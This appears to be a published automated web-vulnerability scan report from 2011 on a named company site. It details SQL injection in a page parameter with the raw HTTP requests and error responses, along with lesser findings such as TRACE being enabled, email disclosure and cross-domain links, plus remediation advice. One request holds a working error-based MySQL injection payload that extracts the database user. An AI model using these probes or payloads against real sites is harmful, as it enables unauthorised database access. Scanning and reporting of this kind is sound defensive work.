SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
1.1. http://www.bluestarfibres.com/page.php [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bluestarfibres.com
Path:
/page.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /page.php?path=his/1'tory HTTP/1.1 Host: www.bluestarfibres.com Proxy-Connection: keep-alive Referer: http://bluestarfibres.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 200 OK Date: Tue, 08 Mar 2011 12:07:02 GMT Server: Apache X-Powered-By: PHP/4.4.7 Content-Type: text/html Content-Length: 255
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'tory' AND published ='Y' LIMIT 1' at line 1<br />SELECT * FROM pa ...[SNIP]...
Request 2
GET /page.php?path=his/1''tory HTTP/1.1 Host: www.bluestarfibres.com Proxy-Connection: keep-alive Referer: http://bluestarfibres.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The path parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the path parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /page.php?path=history' HTTP/1.1 Host: www.bluestarfibres.com Proxy-Connection: keep-alive Referer: http://bluestarfibres.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 200 OK Date: Tue, 08 Mar 2011 12:06:54 GMT Server: Apache X-Powered-By: PHP/4.4.7 Content-Type: text/html Content-Length: 231
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Y' LIMIT 1' at line 1<br />SELECT * FROM page WHERE path = 'histo ...[SNIP]...
Request 2
GET /page.php?path=history'' HTTP/1.1 Host: www.bluestarfibres.com Proxy-Connection: keep-alive Referer: http://bluestarfibres.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The request appears to contain SQL syntax. If this is incorporated into a SQL query and executed by the server, then the application is almost certainly vulnerable to SQL injection.
You should verify whether the request contains a genuine SQL query and whether this is being executed by the server.
Issue remediation
The application should not incorporate any user-controllable data directly into SQL queries. Parameterised queries (also known as prepared statements) should be used to safely insert data into predefined queries. In no circumstances should users be able to control or modify the structure of the SQL query itself.
Request
GET /page.php?path='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2C(SELECT%20user())%2CCHAR(95)%2CCHAR(33)%2CCHAR(64))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&print=true HTTP/1.1 Referer: http://www.bluestarfibres.com/page.php?path=history User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations) Cache-Control: no-cache Host: www.bluestarfibres.com Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive
Response
HTTP/1.0 302 Date: Tue, 08 Mar 2011 12:15:08 GMT Server: Apache X-Powered-By: PHP/4.4.7 Location: /404.php Connection: close Content-Type: text/html
The response contains the following link to another domain:
http://www.techabsorbents.com/
Issue background
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /page.php?path=history HTTP/1.1 Host: www.bluestarfibres.com Proxy-Connection: keep-alive Referer: http://bluestarfibres.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 08 Mar 2011 12:06:47 GMT Server: Apache X-Powered-By: PHP/4.4.7 Content-Type: text/html Content-Length: 4429
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <base href="http://www.blue ...[SNIP]... <p class="text">In April 2007 <a href="http://www.techabsorbents.com">Technical Absorbents Ltd</a> ...[SNIP]...
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
The following email address was disclosed in the response:
enquiries@bluestarfibres.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /page.php?path=contact-us HTTP/1.1 Host: www.bluestarfibres.com Proxy-Connection: keep-alive Referer: http://www.bluestarfibres.com/page.php?path=history Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 08 Mar 2011 12:08:05 GMT Server: Apache X-Powered-By: PHP/4.4.7 Content-Type: text/html Content-Length: 3220
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <base href="http://www.blue ...[SNIP]... <a href="mailto:enquiries@bluestarfibres.com">enquiries@bluestarfibres.com</a> ...[SNIP]...
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
Request
GET /favicon.ico HTTP/1.1 Host: www.bluestarfibres.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 08 Mar 2011 12:06:50 GMT Server: Apache Last-Modified: Wed, 24 Nov 2010 10:13:25 GMT ETag: "28be87-d0-4cece545" Accept-Ranges: bytes Content-Length: 208 Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server. </body> ...[SNIP]...
Report generated by XSS.CX at Tue Mar 08 07:58:24 CST 2011.